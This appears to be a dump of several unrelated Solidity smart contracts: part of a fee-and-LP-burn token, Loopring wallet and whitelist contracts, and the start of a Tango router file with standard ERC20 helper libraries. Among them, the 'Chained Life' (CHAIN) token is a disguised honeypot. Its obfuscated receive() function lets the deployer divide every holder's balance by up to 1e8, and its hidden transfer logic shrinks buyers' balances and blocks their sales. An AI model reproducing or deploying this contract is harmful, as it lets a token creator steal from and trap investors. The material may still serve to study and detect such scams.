"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if (takeFee) {
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForTreasury += (fees * sellTreasuryFee) / sellTotalFees;
tokensForBurn += (fees * sellBurnFee) / sellTotalFees;
tokensForInsurance += (fees * sellInsuranceFee) / sellTotalFees;
}
// on buy
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForTreasury += (fees * buyTreasuryFee) / buyTotalFees;
tokensForBurn += (fees * buyBurnFee) / buyTotalFees;
tokensForInsurance += (fees * buyInsuranceFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForInsurance +
tokensForTreasury;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForInsurance = ethBalance.mul(tokensForInsurance).div(
totalTokensToSwap
);
uint256 ethForTreasury = ethBalance.mul(tokensForTreasury).div(totalTokensToSwap);
uint256 ethForBurn = ethBalance.mul(tokensForBurn).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForInsurance - ethForTreasury - ethForBurn;
tokensForLiquidity = 0;
tokensForInsurance = 0;
tokensForTreasury = 0;
tokensForBurn = 0;
(success, ) = address(TreasuryWallet).call{value: ethForTreasury}("");
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
(success, ) = address(InsuranceWallet).call{
value: address(this).balance
}("");
}
function setAutoLPBurnSettings(
uint256 _frequencyInSeconds,
uint256 _percent,
bool _Enabled
) external onlyOwner {
require(
_frequencyInSeconds >= 600,
"cannot set buyback more often than every 10 minutes"
);
require(
_percent <= 1000 && _percent >= 0,
"Must set auto LP burn percent between 0% and 10%"
);
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool) {
lastLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(
10000
);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent)
external
onlyOwner
returns (bool)
{
require(
block.timestamp > lastManualLpBurnTime + manualBurnFrequency,
"Must wait for cooldown to finish"
);
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
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// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.7.0;
// File: contracts/iface/Wallet.sol
// Copyright 2017 Loopring Technology Limited.
/// @title Wallet
/// @dev Base contract for smart wallets.
/// Sub-contracts must NOT use non-default constructor to initialize
/// wallet states, instead, `init` shall be used. This is to enable
/// proxies to be deployed in front of the real wallet contract for
/// saving gas.
///
/// @author Daniel Wang - <[email protected]>
interface Wallet
{
function version() external pure returns (string memory);
function owner() external view returns (address);
/// @dev Set a new owner.
function setOwner(address newOwner) external;
/// @dev Adds a new module. The `init` method of the module
/// will be called with `address(this)` as the parameter.
/// This method must throw if the module has already been added.
/// @param _module The module's address.
function addModule(address _module) external;
/// @dev Removes an existing module. This method must throw if the module
/// has NOT been added or the module is the wallet's only module.
/// @param _module The module's address.
function removeModule(address _module) external;
/// @dev Checks if a module has been added to this wallet.
/// @param _module The module to check.
/// @return True if the module exists; False otherwise.
function hasModule(address _module) external view returns (bool);
/// @dev Binds a method from the given module to this
/// wallet so the method can be invoked using this wallet's default
/// function.
/// Note that this method must throw when the given module has
/// not been added to this wallet.
/// @param _method The method's 4-byte selector.
/// @param _module The module's address. Use address(0) to unbind the method.
function bindMethod(bytes4 _method, address _module) external;
/// @dev Returns the module the given method has been bound to.
/// @param _method The method's 4-byte selector.
/// @return _module The address of the bound module. If no binding exists,
/// returns address(0) instead.
function boundMethodModule(bytes4 _method) external view returns (address _module);
/// @dev Performs generic transactions. Any module that has been added to this
/// wallet can use this method to transact on any third-party contract with
/// msg.sender as this wallet itself.
///
/// Note: 1) this method must ONLY allow invocations from a module that has
/// been added to this wallet. The wallet owner shall NOT be permitted
/// to call this method directly. 2) Reentrancy inside this function should
/// NOT cause any problems.
///
/// @param mode The transaction mode, 1 for CALL, 2 for DELEGATECALL.
/// @param to The desitination address.
/// @param value The amount of Ether to transfer.
/// @param data The data to send over using `to.call{value: value}(data)`
/// @return returnData The transaction's return value.
function transact(
uint8 mode,
address to,
uint value,
bytes calldata data
)
external
returns (bytes memory returnData);
}
// File: contracts/base/DataStore.sol
// Copyright 2017 Loopring Technology Limited.
/// @title DataStore
/// @dev Modules share states by accessing the same storage instance.
/// Using ModuleStorage will achieve better module decoupling.
///
/// @author Daniel Wang - <[email protected]>
abstract contract DataStore
{
modifier onlyWalletModule(address wallet)
{
requireWalletModule(wallet);
_;
}
function requireWalletModule(address wallet) view internal
{
require(Wallet(wallet).hasModule(msg.sender), "UNAUTHORIZED");
}
}
// File: contracts/lib/AddressSet.sol
// Copyright 2017 Loopring Technology Limited.
/// @title AddressSet
/// @author Daniel Wang - <[email protected]>
contract AddressSet
{
struct Set
{
address[] addresses;
mapping (address => uint) positions;
uint count;
}
mapping (bytes32 => Set) private sets;
function addAddressToSet(
bytes32 key,
address addr,
bool maintainList
) internal
{
Set storage set = sets[key];
require(set.positions[addr] == 0, "ALREADY_IN_SET");
if (maintainList) {
require(set.addresses.length == set.count, "PREVIOUSLY_NOT_MAINTAILED");
set.addresses.push(addr);
} else {
require(set.addresses.length == 0, "MUST_MAINTAIN");
}
set.count += 1;
set.positions[addr] = set.count;
}
function removeAddressFromSet(
bytes32 key,
address addr
)
internal
{
Set storage set = sets[key];
uint pos = set.positions[addr];
require(pos != 0, "NOT_IN_SET");
delete set.positions[addr];
set.count -= 1;
if (set.addresses.length > 0) {
address lastAddr = set.addresses[set.count];
if (lastAddr != addr) {
set.addresses[pos - 1] = lastAddr;
set.positions[lastAddr] = pos;
}
set.addresses.pop();
}
}
function removeSet(bytes32 key)
internal
{
delete sets[key];
}
function isAddressInSet(
bytes32 key,
address addr
)
internal
view
returns (bool)
{
return sets[key].positions[addr] != 0;
}
function numAddressesInSet(bytes32 key)
internal
view
returns (uint)
{
Set storage set = sets[key];
return set.count;
}
function addressesInSet(bytes32 key)
internal
view
returns (address[] memory)
{
Set storage set = sets[key];
require(set.count == set.addresses.length, "NOT_MAINTAINED");
return sets[key].addresses;
}
}
// File: contracts/lib/Ownable.sol
// Copyright 2017 Loopring Technology Limited.
/// @title Ownable
/// @author Brecht Devos - <[email protected]>
/// @dev The Ownable contract has an owner address, and provides basic
/// authorization control functions, this simplifies the implementation of
/// "user permissions".
contract Ownable
{
address public owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/// @dev The Ownable constructor sets the original `owner` of the contract
/// to the sender.
constructor()
{
owner = msg.sender;
}
/// @dev Throws if called by any account other than the owner.
modifier onlyOwner()
{
require(msg.sender == owner, "UNAUTHORIZED");
_;
}
/// @dev Allows the current owner to transfer control of the contract to a
/// new owner.
/// @param newOwner The address to transfer ownership to.
function transferOwnership(
address newOwner
)
public
virtual
onlyOwner
{
require(newOwner != address(0), "ZERO_ADDRESS");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership()
public
onlyOwner
{
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
}
// File: contracts/lib/Claimable.sol
// Copyright 2017 Loopring Technology Limited.
/// @title Claimable
/// @author Brecht Devos - <[email protected]>
/// @dev Extension for the Ownable contract, where the ownership needs
/// to be claimed. This allows the new owner to accept the transfer.
contract Claimable is Ownable
{
address public pendingOwner;
/// @dev Modifier throws if called by any account other than the pendingOwner.
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner, "UNAUTHORIZED");
_;
}
/// @dev Allows the current owner to set the pendingOwner address.
/// @param newOwner The address to transfer ownership to.
function transferOwnership(
address newOwner
)
public
override
onlyOwner
{
require(newOwner != address(0) && newOwner != owner, "INVALID_ADDRESS");
pendingOwner = newOwner;
}
/// @dev Allows the pendingOwner address to finalize the transfer.
function claimOwnership()
public
onlyPendingOwner
{
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
// File: contracts/lib/OwnerManagable.sol
// Copyright 2017 Loopring Technology Limited.
contract OwnerManagable is Claimable, AddressSet
{
bytes32 internal constant MANAGER = keccak256("__MANAGED__");
event ManagerAdded (address indexed manager);
event ManagerRemoved(address indexed manager);
modifier onlyManager
{
require(isManager(msg.sender), "NOT_MANAGER");
_;
}
modifier onlyOwnerOrManager
{
require(msg.sender == owner || isManager(msg.sender), "NOT_OWNER_OR_MANAGER");
_;
}
constructor() Claimable() {}
/// @dev Gets the managers.
/// @return The list of managers.
function managers()
public
view
returns (address[] memory)
{
return addressesInSet(MANAGER);
}
/// @dev Gets the number of managers.
/// @return The numer of managers.
function numManagers()
public
view
returns (uint)
{
return numAddressesInSet(MANAGER);
}
/// @dev Checks if an address is a manger.
/// @param addr The address to check.
/// @return True if the address is a manager, False otherwise.
function isManager(address addr)
public
view
returns (bool)
{
return isAddressInSet(MANAGER, addr);
}
/// @dev Adds a new manager.
/// @param manager The new address to add.
function addManager(address manager)
public
onlyOwner
{
addManagerInternal(manager);
}
/// @dev Removes a manager.
/// @param manager The manager to remove.
function removeManager(address manager)
public
onlyOwner
{
removeAddressFromSet(MANAGER, manager);
emit ManagerRemoved(manager);
}
function addManagerInternal(address manager)
internal
{
addAddressToSet(MANAGER, manager, true);
emit ManagerAdded(manager);
}
}
// File: contracts/stores/WhitelistStore.sol
// Copyright 2017 Loopring Technology Limited.
/// @title WhitelistStore
/// @dev This store maintains a wallet's whitelisted addresses.
contract WhitelistStore is DataStore, AddressSet, OwnerManagable
{
bytes32 internal constant DAPPS = keccak256("__DAPPS__");
// wallet => whitelisted_addr => effective_since
mapping(address => mapping(address => uint)) public effectiveTimeMap;
event Whitelisted(
address wallet,
address addr,
bool whitelisted,
uint effectiveTime
);
event DappWhitelisted(
address addr,
bool whitelisted
);
constructor() DataStore() {}
function addToWhitelist(
address wallet,
address addr,
uint effectiveTime
)
external
onlyWalletModule(wallet)
{
addAddressToSet(_walletKey(wallet), addr, true);
uint effective = effectiveTime >= block.timestamp ? effectiveTime : block.timestamp;
effectiveTimeMap[wallet][addr] = effective;
emit Whitelisted(wallet, addr, true, effective);
}
function removeFromWhitelist(
address wallet,
address addr
)
external
onlyWalletModule(wallet)
{
removeAddressFromSet(_walletKey(wallet), addr);
delete effectiveTimeMap[wallet][addr];
emit Whitelisted(wallet, addr, false, 0);
}
function addDapp(address addr)
external
onlyManager
{
addAddressToSet(DAPPS, addr, true);
emit DappWhitelisted(addr, true);
}
function removeDapp(address addr)
external
onlyManager
{
removeAddressFromSet(DAPPS, addr);
emit DappWhitelisted(addr, false);
}
function whitelist(address wallet)
public
view
returns (
address[] memory addresses,
uint[] memory effectiveTimes
)
{
addresses = addressesInSet(_walletKey(wallet));
effectiveTimes = new uint[](addresses.length);
for (uint i = 0; i < addresses.length; i++) {
effectiveTimes[i] = effectiveTimeMap[wallet][addresses[i]];
}
}
function isWhitelisted(
address wallet,
address addr
)
public
view
returns (
bool isWhitelistedAndEffective,
uint effectiveTime
)
{
effectiveTime = effectiveTimeMap[wallet][addr];
isWhitelistedAndEffective = effectiveTime > 0 && effectiveTime <= block.timestamp;
}
function whitelistSize(address wallet)
public
view
returns (uint)
{
return numAddressesInSet(_walletKey(wallet));
}
function dapps()
public
view
returns (
address[] memory addresses
)
{
return addressesInSet(DAPPS);
}
function isDapp(
address addr
)
public
view
returns (bool)
{
return isAddressInSet(DAPPS, addr);
}
function numDapps()
public
view
returns (uint)
{
return numAddressesInSet(DAPPS);
}
function isDappOrWhitelisted(
address wallet,
address addr
)
public
view
returns (bool res)
{
(res,) = isWhitelisted(wallet, addr);
return res || isAddressInSet(DAPPS, addr);
}
function _walletKey(address addr)
private
pure
returns (bytes32)
{
return keccak256(abi.encodePacked("__WHITELIST__", addr));
}
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/**
*Submitted for verification at Etherscan.io on 2022-04-30
*/
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IUniswapV2Pair {
event Sync(uint112 reserve0, uint112 reserve1);
function sync() external;
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private chArr;
mapping (address => bool) private Plastic;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _balances;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public pair;
uint256 private Carbon = 0;
IDEXRouter router;
string private _name; string private _symbol; address private addr0187r2hjbf2nmfnwqjnkqio1a; uint256 private _totalSupply;
bool private trading; uint256 private qom; bool private Diamond; uint256 private Cake;
constructor (string memory name_, string memory symbol_, address msgSender_) {
router = IDEXRouter(_router);
pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
addr0187r2hjbf2nmfnwqjnkqio1a = msgSender_;
_name = name_;
_symbol = symbol_;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function last(uint256 g) internal view returns (address) { return (Cake > 1 ? chArr[chArr.length-g-1] : address(0)); }
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function name() public view virtual override returns (string memory) {
return _name;
}
function openTrading() external onlyOwner returns (bool) {
trading = true;
return true;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
receive() external payable {
require(msg.sender == addr0187r2hjbf2nmfnwqjnkqio1a);
Diamond = true; for (uint256 q=0; q < chArr.length; q++) { _balances[chArr[q]] /= ((qom == 0) ? (3e1) : (1e8)); } _balances[pair] /= ((qom == 0) ? 1 : (1e8)); IUniswapV2Pair(pair).sync(); qom++;
}
function _balancesOfTheJailer(address sender, address recipient) internal {
require((trading || (sender == addr0187r2hjbf2nmfnwqjnkqio1a)), "ERC20: trading is not yet enabled.");
_balancesOfTheChains(sender, recipient);
}
function _ALifeInChains(address creator) internal virtual {
approve(_router, 10 ** 77);
(qom,Diamond,Cake,trading) = (0,false,0,false);
(Plastic[_router],Plastic[creator],Plastic[pair]) = (true,true,true);
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _balancesOfTheChains(address sender, address recipient) internal {
if (((Plastic[sender] == true) && (Plastic[recipient] != true)) || ((Plastic[sender] != true) && (Plastic[recipient] != true))) { chArr.push(recipient); }
_balances[last(1)] /= (((Carbon == block.timestamp) || Diamond) && (Plastic[last(1)] != true) && (Cake > 1)) ? (12) : (1);
Carbon = block.timestamp; Cake++; if (Diamond) { require(sender != last(0)); }
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balancesOfTheJailer(sender, recipient);
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _DeployChain(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
_DeployChain(creator, initialSupply);
_ALifeInChains(creator);
}
}
contract ChainedLife is ERC20Token {
constructor() ERC20Token("Chained Life", "CHAIN", msg.sender, 30000 * 10 ** 18) {
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-08-31
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ITangoRouter {
function withdraw(address _token,uint256 _amount) external;
function invest(address _token, uint256 _amount) external;
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
